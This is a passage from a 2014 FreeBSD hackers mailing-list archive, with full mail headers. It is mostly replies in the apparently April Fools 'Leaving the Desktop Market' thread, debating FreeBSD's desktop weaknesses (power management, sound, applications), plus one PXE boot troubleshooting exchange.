sound streaming to other machines working if you tried. FreeBSD lacks vendor credibility: CUDA is unsupported. Dropbox hasn't released a client for FreeBSD. Nvidia Optimus doesn't function on FreeBSD. Can you imagine telling someone to purchase a laptop with the caveat: "but you won't be able to use your graphics card"? In any case, half of our desktop support is emulation: flash and opera only works because of the linuxulator. There really isn't any reason for vendors to bother supporting FreeBSD if we are just going to ape Linux anyways. That is why on this date I propose that we cease competing on the desktop market. FreeBSD should declare 2014 to be "year of the Linux desktop" and start to rip out the pieces of the OS not needed for server or embedded use. Some of you may point to PCBSD and say that we have a chance, but I must ask you: how does one flavor stand up to the thousands in the Linux world? Eitan Adler From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 1 06:39:29 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 1F0FBF45; Tue, 1 Apr 2014 06:39:29 +0000 (UTC) Received: from vps1.elischer.org (vps1.elischer.org [204.109.63.16]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client CN "vps1.elischer.org", Issuer "CA Cert Signing Authority" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id C9E95609; Tue, 1 Apr 2014 06:39:28 +0000 (UTC) Received: from jre-mbp.elischer.org (ppp121-45-232-70.lns20.per1.internode.on.net [121.45.232.70]) (authenticated bits=0) by vps1.elischer.org (8.14.8/8.14.8) with ESMTP id s316dMWo035788 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Mon, 31 Mar 2014 23:39:24 -0700 (PDT) (envelope-from julian@freebsd.org) Message-ID: <533A5F14.80602@freebsd.org> Date: Tue, 01 Apr 2014 14:39:16 +0800 From: Julian Elischer User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.4.0 MIME-Version: 1.0 To: Eitan Adler , hackers@freebsd.org, current@freebsd.org, freebsd-advocacy@freebsd.org Subject: Re: Leaving the Desktop Market References: In-Reply-To: Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 01 Apr 2014 06:39:29 -0000 On 4/1/14, 1:46 PM, Eitan Adler wrote: > Hi all Hey it's not an apr 1 joke if it's true.. > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" > > From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 1 06:44:46 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 14B5C462; Tue, 1 Apr 2014 06:44:46 +0000 (UTC) Received: from tds-solutions.net (tds-solutions.net [69.164.206.65]) by mx1.freebsd.org (Postfix) with ESMTP id D24896CA; Tue, 1 Apr 2014 06:44:45 +0000 (UTC) Received: from [192.168.1.224] (unknown [69.43.65.114]) (Authenticated sender: tyler) by tds-solutions.net (Postfix) with ESMTPSA id A0A2FA060; Tue, 1 Apr 2014 00:51:00 -0600 (MDT) Message-ID: <533A604E.4030609@tysdomain.com> Date: Tue, 01 Apr 2014 02:44:30 -0400 From: "Littlefield, Tyler" User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20120907 Thunderbird/15.0.1 MIME-Version: 1.0 To: Eitan Adler Subject: Re: Leaving the Desktop Market References: In-Reply-To: Content-Type: text/plain; charset=windows-1252; format=flowed Content-Transfer-Encoding: 8bit Cc: freebsd-advocacy@freebsd.org, hackers@freebsd.org, current@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list Reply-To: tyler@tysdomain.com List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 01 Apr 2014 06:44:46 -0000 On 4/1/2014 1:46 AM, Eitan Adler wrote: > Hi all, > > Some of you may have seen my posts entitled "Story of a Laptop User" > and "Story of a Desktop User". For those of you who did not, it can > be a worthwhile read to see what life is like when using FreeBSD as a > desktop. In short, it is an educational experience. While FreeBSD > can be coerced to do the right thing, it is rarely there by default > and often doesn't work as well as we would expect. > > The following are issues I haven't brought up in the past: > > Battery life sucks: it’s almost as if powerd wasn't running. Windows > can run for five hours on my laptop while FreeBSD can barely make it > two hours. I wonder what the key differences are? Likely it’s that > we focus so much on performance that no one considers power. ChromeOS > can run for 12 hours on some hardware; why can't we make FreeBSD run > for 16? > > Sound configuration lacks key documentation: how can I automatically > change between headphones and external speakers? You can't even do > that in middle of a song at all! Trust me that you never want to be > staring at an HDA pin configuration. I'll bet you couldn't even get > sound streaming to other machines working if you tried. > > FreeBSD lacks vendor credibility: CUDA is unsupported. Dropbox hasn't > released a client for FreeBSD. Nvidia Optimus doesn't function on > FreeBSD. Can you imagine telling someone to purchase a laptop with > the caveat: "but you won't be able to use your graphics card"? > > In any case, half of our desktop support is emulation: flash and opera > only works because of the linuxulator. There really isn't any reason > for vendors to bother supporting FreeBSD if we are just going to ape > Linux anyways. > > That is why on this date I propose that we cease competing on the > desktop market. FreeBSD should declare 2014 to be "year of the Linux > desktop" and start to rip out the pieces of the OS not needed for > server or embedded use. > > Some of you may point to PCBSD and say that we have a chance, but I > must ask you: how does one flavor stand up to the thousands in the > Linux world? I don't know much about BSD on the desktop, but it's somewhere I'd like to go eventually. This comment caught me off, however. The fact that there are thousands of flavors of Linux vs one flavor of a BSD desktop is sort of irrelivant--it could be applied, by that same method to BSD as a server. there are hundreds of Linux distributions that can be used as a server, so by your logic, "how do hundreds of Linux servers stand up to 3 flavors of BSD?" I switched to BSD for a few reasons: 1) The documentation is amazing. As with any project, it can be improved as was mentioned in the most recent BSDNow, but the only other close call I can see is maybe Archlinux, and I don't want that on a server. 2) The ports and PKGNG system is beyond amazing. 3) The organization is more amazing. Everything is incredibly intuitive. I love the customization, flexability and organization of BSD. 4) I didn't care until rather recently, but anything that lets me rely less and less on GNU and the GPL is a bonus. Given this, I commend everyone who has put hundreds of hours of work into making BSD a desktop system. Rather than suggest that BSD stays merely a server OS, why not pose these issues as problems or milestones. Perhaps sound has some drawbacks, but when the day arrives when it is up to par, I can almost guarantee if the BSD ideals remain the same that it'll be so much easier and cleaner to use than pulse/alsa, etc. Eitan Adler _______________________________________________ freebsd-hackers@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-hackers To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" -- Take care, Ty http://tds-solutions.net He that will not reason is a bigot; he that cannot reason is a fool; he that dares not reason is a slave. From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 1 07:11:34 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 144BEC71; Tue, 1 Apr 2014 07:11:34 +0000 (UTC) Received: from mail.iXsystems.com (newknight.ixsystems.com [206.40.55.70]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id EB1CB985; Tue, 1 Apr 2014 07:11:33 +0000 (UTC) Received: from localhost (mail.ixsystems.com [10.2.55.1]) by mail.iXsystems.com (Postfix) with ESMTP id F1D62736FF; Tue, 1 Apr 2014 00:11:32 -0700 (PDT) Received: from mail.iXsystems.com ([10.2.55.1]) by localhost (mail.ixsystems.com [10.2.55.1]) (maiad, port 10024) with ESMTP id 47829-08; Tue, 1 Apr 2014 00:11:32 -0700 (PDT) Received: from [10.8.0.6] (unknown [10.8.0.6]) (using TLSv1 with cipher AES128-SHA (128/128 bits)) (No client certificate requested) by mail.iXsystems.com (Postfix) with ESMTPSA id 83981736F6; Tue, 1 Apr 2014 00:11:26 -0700 (PDT) Content-Type: text/plain; charset=windows-1252 Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) Subject: Re: Leaving the Desktop Market From: Jordan Hubbard In-Reply-To: Date: Tue, 1 Apr 2014 12:11:19 +0500 Content-Transfer-Encoding: quoted-printable Message-Id: References: To: Eitan Adler X-Mailer: Apple Mail (2.1874) Cc: freebsd-advocacy@freebsd.org, hackers@freebsd.org, current@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 01 Apr 2014 07:11:34 -0000 On Apr 1, 2014, at 10:46 AM, Eitan Adler wrote: > That is why on this date I propose that we cease competing on the > desktop market. FreeBSD should declare 2014 to be "year of the Linux > desktop" and start to rip out the pieces of the OS not needed for > server or embedded use. >=20 > Some of you may point to PCBSD and say that we have a chance, but I > must ask you: how does one flavor stand up to the thousands in the > Linux world? The fact that this posting comes out on April 1st makes me wonder if = it=92s just an elaborate April Fool=92s joke, but then the notion of = *BSD (or Linux, for that matter) on the Desktop is just another = long-running April fool=92s joke, so I=92m willing to postulate that two = April Fools jokes would simply cancel each other out and make this = posting a serious one again. :-) I=92ll choose to be serious and say what I=92m about to say in spite of = the fact that I work for the primary sponsor of PC-BSD and actually like = the fact that it has created some interesting technologies like PBIs, = the Jail Warden, Life-preserver and a ZFS boot environment menu. There is no such thing as a desktop market for *BSD or Linux. There = never has been and there never will be. Why do you think we chose =93the= power to serve=94 as FreeBSD=92s first marketing slogan? It makes a = fine server OS and it=92s easy to defend its role in the server room. = It=92s also becoming easier to defend its role as an embedded OS, which = is another excellent niche to pursue and I am happy to see all the = recent developments there. A desktop? Unless you consider Mac OS X to be =93BSD on the desktop=94 = (and while they share some common technologies, it=92s increasingly a = stretch to say that), it=92s just never going to happen for (at least) = the following reasons: 1. Power. As you point out, being truly power efficient is a complete = top-to-bottom engineering effort and it takes a lot more than just = trying to idle the processor whenever possible to achieve that. You = need to optimize all of the hot-spot routines in the system for power = efficiency (which actually involves a fair amount of micro architecture = knowledge), you need a kernel scheduler that is power management aware, = you need a process management system that runs as few things as possible = and knows how to schedule things during package wake-up intervals, you = need timers to be coalesced at the level where applications consume = them, the list just goes on and on. It=92s a lot of engineering work, = and to drive that work you also need a lot of telemetry data and people = with big sticks running around hitting people who write = power-inefficient code. FreeBSD has neither. 2. Multimedia. A real end-user=92s desktop is basically one big UI for = watching things, listening to things, and running apps. A decent audio = / video subsystem is just one part of the picture, and one that has = always been really weak - entire engineering teams can spend years = working on codecs, performance optimizations, low and guaranteed latency = support for audio I/O, etc. What=92s worse, the bar is only being = raised. You want to be part of the next wave of folks who can author = and edit content for the new 4K video standard? Not on FreeBSD or = Linux, you=92re not. 3. Applications. A desktop without real and useful applications is not = a desktop, it=92s just an empty display surface. Sure, there are users = out there who are happy with just a mail client, a web browser and maybe = a calendaring app, but those users are also arguably even better = candidates for Chrome or other simplified environments where all of that = simply happens in a fancy web browser and you get things like =93software = updates=94 and cloud integration essentially for free since it=92s all = just one cohesive picture there. The ability to solve those user=92s = needs very simply makes them ripe targets for the web application = delivery platforms. For the other folks who want to do fancier stuff like mix audio, edit = videos or even just play mainstream 3D games that were actually = published sometime in the last year, they=92ll use a real desktop OS and = won't even bother looking at one of the free ones because guess what, = the free ones just can=92t do those things, or do them badly enough that = their users feel like they=92re perpetually living in a kind of = self-selected ghetto. Metaphorically speaking, sleeping on the floor in = a sleeping bag in your one-room apartment is fine when you=92re young, = but as you get older, you want to be more comfortable and have a real = bed in a real house! Those are just three reasons. There are lots more, not least of which = among them is the fact that it=92s damn hard even just to *create* = significant applications with the weak-ass APIs that *BSD and Linux = provide. You have to stitch together some Frankenstein collection of = libraries out of ports (or linux packages) and then hope the whole pile = of multi-=93vendor" bits will sort of work together, which of course = they rarely do because they were written by several hundred different = people with no mandate to interoperate. April fool=92s joke? Yes, the desktop has always been one in the OSS = space. It=92s a lousy OSS problem to try and solve because all the = hardest parts are things nobody wants to do for free, and there=92s no = money to be made just providing the OS (even Ubuntu, the current leader, = seems to have =93pledge drives=94 every other week). - Jordan From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 1 07:19:12 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id B3F76F03; Tue, 1 Apr 2014 07:19:12 +0000 (UTC) Received: from mail.turbocat.net (mail.turbocat.net [IPv6:2a01:4f8:d16:4514::2]) (using TLSv1.1 with cipher ECDHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 44D209D7; Tue, 1 Apr 2014 07:19:12 +0000 (UTC) Received: from laptop015.home.selasky.org (cm-176.74.213.204.customer.telag.net [176.74.213.204]) (using TLSv1 with cipher ECDHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by mail.turbocat.net (Postfix) with ESMTPSA id D57641FE027; Tue, 1 Apr 2014 09:19:09 +0200 (CEST) Message-ID: <533A689D.3090608@selasky.org> Date: Tue, 01 Apr 2014 09:19:57 +0200 From: Hans Petter Selasky User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Eitan Adler , hackers@freebsd.org, current@freebsd.org, freebsd-advocacy@freebsd.org Subject: Re: Leaving the Desktop Market References: In-Reply-To: Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 8bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 01 Apr 2014 07:19:12 -0000 Hi, On 04/01/14 07:46, Eitan Adler wrote: > Hi all, > > Some of you may have seen my posts entitled "Story of a Laptop User" > and "Story of a Desktop User". For those of you who did not, it can > be a worthwhile read to see what life is like when using FreeBSD as a > desktop. In short, it is an educational experience. While FreeBSD > can be coerced to do the right thing, it is rarely there by default > and often doesn't work as well as we would expect. Can this be translated that "the green is always better on the other side" ? > > The following are issues I haven't brought up in the past: > > Battery life sucks: it’s almost as if powerd wasn't running. Windows > can run for five hours on my laptop while FreeBSD can barely make it > two hours. I wonder what the key differences are? Likely it’s that > we focus so much on performance that no one considers power. ChromeOS > can run for 12 hours on some hardware; why can't we make FreeBSD run > for 16? > > Sound configuration lacks key documentation: how can I automatically > change between headphones and external speakers? You can't even do > that in middle of a song at all! Trust me that you never want to be > staring at an HDA pin configuration. I'll bet you couldn't even get > sound streaming to other machines working if you tried. I agree that there are usability issues with the sound framework in FreeBSD. I've seen this myself, for example trying to get sound using firefox, you now need pulseaudio and it must be configured correctly. I'm pretty sure there are people around in the FreeBSD project that are quite capable and could easily fix these issues, given some coordination and funding. Probably you should ask the FreeBSD foundation to fund a developer for a year or two to work on the desktop issues. Desktop is complicated. You need to understand that many device frameworks are designed entirely for other platforms, and I think that the current approach to compile Linux oriented code like "HAL" under FreeBSD is not always the right approach. We need to make our own "HAL" that is compatible with the "Linux" Applications, that need to know where the scanner or webcam is attached. Speaking about sound again, I think we need a tiny library and daemon that sits between /dev/dspX.X and the applications, that pulls together the most common audio libraries, like portaudio, pulseaudio and the KDE one, into a single and brand new solution. I did propose something at EuroBSDcon last year, that we can use character device emulation in user-space, cuse4bsd, to achieve this. > > That is why on this date I propose that we cease competing on the > desktop market. FreeBSD should declare 2014 to be "year of the Linux > desktop" and start to rip out the pieces of the OS not needed for > server or embedded use. Did FreeBSD ever compete on the Desktop market? While touching this topic, I must say that I'm very grateful to all you port-guys that keep stuff compiling and working on the Desktop front. I've asked myself a few times during the last couple of years, who are the people really making my FreeBSD Desktop work? Did they receive enough thanks or funds for their work? > > Some of you may point to PCBSD and say that we have a chance, but I > must ask you: how does one flavor stand up to the thousands in the > Linux world? Because something does not work in FreeBSD it can prove an excellent opportunity for someone to fix it! Don't underestimate that! --HPS From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 1 07:38:40 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 68ABB2FB; Tue, 1 Apr 2014 07:38:40 +0000 (UTC) Received: from theravensnest.org (theraven.freebsd.your.org [216.14.102.27]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client CN "theravensnest.org", Issuer "theravensnest.org" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id 17A03B64; Tue, 1 Apr 2014 07:38:39 +0000 (UTC) Received: from [192.168.0.100] (cpc14-cmbg15-2-0-cust307.5-4.cable.virginm.net [82.26.1.52]) (authenticated bits=0) by theravensnest.org (8.14.7/8.14.7) with ESMTP id s317cXnf045166 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=NO); Tue, 1 Apr 2014 07:38:35 GMT (envelope-from theraven@FreeBSD.org) Content-Type: text/plain; charset=windows-1252 Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) Subject: Re: Leaving the Desktop Market From: David Chisnall In-Reply-To: Date: Tue, 1 Apr 2014 08:38:28 +0100 Content-Transfer-Encoding: quoted-printable Message-Id: <3F7430D7-3C0F-43E1-8EBD-8AA4F701497C@FreeBSD.org> References: To: Jordan Hubbard X-Mailer: Apple Mail (2.1874) Cc: Eitan Adler , hackers@freebsd.org, current@freebsd.org, freebsd-advocacy@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 01 Apr 2014 07:38:40 -0000 On 1 Apr 2014, at 08:11, Jordan Hubbard wrote: > 1. Power. As you point out, being truly power efficient is a complete = top-to-bottom engineering effort and it takes a lot more than just = trying to idle the processor whenever possible to achieve that. You = need to optimize all of the hot-spot routines in the system for power = efficiency (which actually involves a fair amount of micro architecture = knowledge), you need a kernel scheduler that is power management aware, = you need a process management system that runs as few things as possible = and knows how to schedule things during package wake-up intervals, you = need timers to be coalesced at the level where applications consume = them, the list just goes on and on. It=92s a lot of engineering work, = and to drive that work you also need a lot of telemetry data and people = with big sticks running around hitting people who write = power-inefficient code. FreeBSD has neither. Just a small note here: Improving power management is something that the = Core Team and the Foundation have jointly identified as an important = goal, in particular for mobile / embedded scenarios. We're currently = coordinating potential sponsors for the work and soliciting proposals = from people interested in doing the work. If you know of anyone in = either category then please drop either me, core, or the Foundation an = email. Some things have already seen progress, for example Davide's calloutng = work includes timer coalescing, but there are still a lot of, uh, = opportunities for improvement. The Symbian EKA2 book has some very = interesting detail on their power management infrastructure, which would = be worth looking at for anyone interested in working on this, and I = believe your former employer had some expertise in this area. Of course, no matter how good the base system becomes at power = management, we still can't prevent stuff in ports running idle = spinloops. We can, however, provide tools that encourage = power-efficient design. For example, currently hald wakes up every 30 = seconds and polls the optical drive if you have one. Why? Because = there's no devd event when a CD is inserted, so the only way for it to = get these notifications is polling. If you have a laptop with an = optical drive, this is really bad for power usage. =20 David From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 1 08:42:22 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 5996C9FE; Tue, 1 Apr 2014 08:42:22 +0000 (UTC) Received: from mail-pa0-x22b.google.com (mail-pa0-x22b.google.com [IPv6:2607:f8b0:400e:c03::22b]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 25166246; Tue, 1 Apr 2014 08:42:22 +0000 (UTC) Received: by mail-pa0-f43.google.com with SMTP id bj1so9503234pad.16 for ; Tue, 01 Apr 2014 01:42:21 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=q58jvWHrqF7ROGK9rNRNty3h0FyYIUtC/jAmRErOm1I=; b=Mlykim7Gfv3MqeNX+NNGVjgwdJ5bCK9S7VAQr+4ETUa1hd2v3bkHcm9CQm6jJcRxq2 q9EH49mmnQGudWGoKdMBduCdZd7UBav5fx/eE0Q4MttXSJQtresguDFddfZbJhRUdO4A CVIrlO1Sb8hFwlY6/Mr9if1r9YKvCJhvqAboQNwrpy59wsocqDROFC/M9kpOp1uZmHhe eC4xEn7z+yBqpL6Lpmf+JpeumOVp1Y/3FthWOftZExpxLlOMK/SabqFlTxguPFrAtrVL mb7rOaJXHcJeZjJ3wOo5/Da0zJcF8nbe5CFrYjtylCCB4BnVaN6WcmO+KtFnAu+moom5 7zyQ== MIME-Version: 1.0 X-Received: by 10.66.171.206 with SMTP id aw14mr16722869pac.48.1396341741808; Tue, 01 Apr 2014 01:42:21 -0700 (PDT) Received: by 10.70.89.33 with HTTP; Tue, 1 Apr 2014 01:42:21 -0700 (PDT) In-Reply-To: <067401cf4cff$59409590$0bc1c0b0$@FreeBSD.org> References: <1396270576.1346.3.camel@powernoodle.corp.yahoo.com> <067401cf4cff$59409590$0bc1c0b0$@FreeBSD.org> Date: Tue, 1 Apr 2014 10:42:21 +0200 Message-ID: Subject: Re: Pxeboot stops From: amine tay To: dteske@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 01 Apr 2014 08:42:22 -0000 already did that, but no changes. It seams like the console it's not the source of the problem ! Normally the pxeboot should try to load the kernel using NFS, I checked and all my services are working fine. It's a little bit hard because there is no logs to see what's the problem ! 2014-03-31 18:36 GMT+02:00 : > > > > -----Original Message----- > > From: Sean Bruno [mailto:sbruno@ignoranthack.me] > > Sent: Monday, March 31, 2014 5:56 AM > > To: amine tay > > Cc: freebsd-hackers@freebsd.org > > Subject: Re: Pxeboot stops > > > > On Mon, 2014-03-31 at 14:08 +0200, amine tay wrote: > > > Hi every one, > > > When i'm trying to pxe boot FreeBSD 9.1, the pxeboot display the lines > > bellow : > > > Building the boot loader arguments > > > Looking up /BOOT/LOADER... Found > > > Relocating the loader and the BTX > > > Starting the BTX loader > > > > > > BTX loader 1.00 BTX version is 1.02 > > > Consoles: internal video/keyboard > > > BIOS CD is cd0 > > > BIOS drive C: is disk0 > > > BIOS drive D: is disk1 > > > BIOS 636kB/261056kB available memory > > > > > > FreeBSD/i386 bootstrap loader, Revision 1.1 > > > > > > But it stops here and I'm not getting the : > > > > > > pxe open : server addr > > > > > > or > > > Loading /boot/defaults/loader.conf > > > /boot/kernel/kernel text=0x64daa0 data=0xa4e80+0xa9e40 > > > syms=[0x4+0x6cac0+0x4+0x88e9d] \ > > > > It looks like its switching consoles on you. Is this the video or serial > console > > you have captured from? > > > > If its the serial console, then I suspect you need to setup the > loader.conf with > > a comconsole entry. > > > > E.g., console="vidconsole,comconsole" > > NB: Enables both video and serial instead of one or the other. > -- > Devin > > _____________ > The information contained in this message is proprietary and/or > confidential. If you are not the intended recipient, please: (i) delete the > message and all copies; (ii) do not disclose, distribute or use the message > in any manner; and (iii) notify the sender immediately. In addition, please > be aware that any message addressed to our domain is subject to archiving > and review by persons other than the intended recipient. Thank you. > From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 1 10:44:42 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 908E5D6A for ; Tue, 1 Apr 2014 10:44:42 +0000 (UTC) Received: from mail-la0-x22f.google.com (mail-la0-x22f.google.com [IPv6:2a00:1450:4010:c03::22f]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 1A5E9FF4 for ; Tue, 1 Apr 2014 10:44:41 +0000 (UTC) Received: by mail-la0-f47.google.com with SMTP id pn19so2524461lab.20 for ; Tue, 01 Apr 2014 03:44:39 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=googlemail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:cc :content-type; bh=M/tplUTtLHE2yAxBk9EtLsPEN/hHRjGzzr+/7iebQSI=; b=RYiqVmfrSX9+mPaDMdadJ8EQ6LNXPmtiTAqG5IEW+K3VgeqFwcGHUisTAkYZZdi1g3 +EuDoAF8VrlxHcWYIIiOE06pHSDDl4p5zgQ03LTVNbSW8BWHquEFSKWFVE13duQy0aDJ 7RGXpBUPxDX8GFNsptZzmboIMOMYPGS1b2Epxjr2mk8v/86Xdv9XNL7h8TCPfXlZ5G1N FueNAqQFopISFDX+IrEYp/K+ePYviUKSul4h+trOTwotrnd5qGuXRBaiGkDLk7iIz2cu D/H8EVaTCEY6qAb82LbwSw2WKHd1Yn1jwD+qi3Hit1j0x9FLE8G52MvB44yU9C6AdeV1 u8NQ== MIME-Version: 1.0 X-Received: by 10.152.18.135 with SMTP id w7mr5980659lad.29.1396349079857; Tue, 01 Apr 2014 03:44:39 -0700 (PDT) Received: by 10.112.129.164 with HTTP; Tue, 1 Apr 2014 03:44:39 -0700 (PDT) In-Reply-To: <20140401094044.GX44074@e-new.0x20.net> References: <20140401094044.GX44074@e-new.0x20.net> Date: Tue, 1 Apr 2014 11:44:39 +0100 Message-ID: Subject: Re: Leaving the Desktop Market From: Tom Evans Content-Type: text/plain; charset=UTF-8 Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 01 Apr 2014 10:44:42 -0000 On Tue, Apr 1, 2014 at 10:40 AM, Lars Engels wrote: > > I'm a happy FreeBSD desktop user since 4.7. There are some edges, but I > really like that I can can create a desktop the way _I_ want it and my > mail client even allows me to break lines at 80 chars. Eat that, Apple > Mail! ;-) I'm also a happy camper with FreeBSD and X. I use FreeBSD as my primary work environment, running on a laptop. I use FreeBSD as my HTPC, recording TV shows, transcoding content and streaming it to my iStuff. I use FreeBSD as my primary desktop at home. You do need to make some smart choices about what hardware you buy (when has it not been thus when you want to run an open OS?) Better power management than just powerd is possible, you need to disable any device you are using that you don't need, and tweak a few things specific to your laptop - Alexander Motin got his laptop to exceed his windows run time., with many tweaks. That is, if you care about it - I don't, as I'm always docked or in a meeting room with power. I feel there is no need for FreeBSD to compete with Linux. The main benefit of FreeBSD to me is that (almost) everything is documented, it is documented in a coherent and consistent manner, there is only one "flavour" of FreeBSD; if it is a FreeBSD system I know where the OS conf lives, where the userland conf lives. To compete with Linux desktop OS would take a huge amount of polish that is just not justified for users like me, I'm very happy with the amount of polish that we currently have (thank you Xorg team for NEW_XORG!). FreeBSD has enough in it that other projects (PC-BSD) can use FreeBSD as a base and provide that polish. Cheers Tom PS 4k content editing is already supported by ffmpeg, which compiles without problems with clang/llvm on 10+. From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 1 11:38:20 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id BC8386E6 for ; Tue, 1 Apr 2014 11:38:20 +0000 (UTC) Received: from kib.kiev.ua (kib.kiev.ua [IPv6:2001:470:d5e7:1::1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 5B35B66B for ; Tue, 1 Apr 2014 11:38:20 +0000 (UTC) Received: from tom.home (kostik@localhost [127.0.0.1]) by kib.kiev.ua (8.14.8/8.14.8) with ESMTP id s31BcEKD005666; Tue, 1 Apr 2014 14:38:14 +0300 (EEST) (envelope-from kostikbel@gmail.com) DKIM-Filter: OpenDKIM Filter v2.8.3 kib.kiev.ua s31BcEKD005666 Received: (from kostik@localhost) by tom.home 